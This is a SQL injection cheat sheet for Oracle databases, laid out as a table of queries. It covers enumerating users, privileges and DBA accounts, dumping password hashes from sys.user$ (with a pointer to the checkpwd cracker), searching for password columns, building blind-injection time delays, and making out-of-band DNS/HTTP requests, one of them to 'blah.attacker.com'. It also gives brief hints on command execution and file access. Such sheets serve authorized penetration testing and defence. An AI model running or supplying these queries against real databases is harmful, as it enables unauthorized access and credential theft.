| Version |
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; |
| Comments |
SELECT 1 FROM dual — comment
– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table. |
| Current User | SELECT user FROM dual |
| List Users |
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv |
| List Password Hashes |
SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ — priv, 11g |
| Password Cracker | checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. |
| List Privileges |
SELECT * FROM session_privs; — current privs
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; |
| List DBA Accounts | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles |
| Current Database |
SELECT global_name FROM global_name;
SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; |
| List Databases |
SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)
– Also query TNS listener for other databases. See tnscmd (services | status). |
| List Columns |
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; |
| List Tables |
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables; |
| Find Tables From Column Name | SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case |
| Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ |
| Bitwise AND |
SELECT bitand(6,2) FROM dual; — returns 2
SELECT bitand(6,1) FROM dual; — returns0 |
| ASCII Value -> Char | SELECT chr(65) FROM dual; — returns A |
| Char -> ASCII Value | SELECT ascii(‘A’) FROM dual; — returns 65 |
| Casting |
SELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual; |
| String Concatenation | SELECT ‘A’ || ‘B’ FROM dual; — returns AB |
| If Statement | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements |
| Case Statement |
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2 |
| Avoiding Quotes | SELECT chr(65) || chr(66) FROM dual; — returns AB |
| Time Delay |
BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow – Also see Heavy Queries to create a time delay |
| Make DNS Requests |
SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; |
| Command Execution |
Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. 
|
| Local File Access |
UTL_FILE can sometimes be used. Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express). |
| Hostname, IP Address |
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames |
| Location of DB files | SELECT name FROM V$DATAFILE; |
| Default/System Databases |
SYSTEM
SYSAUX |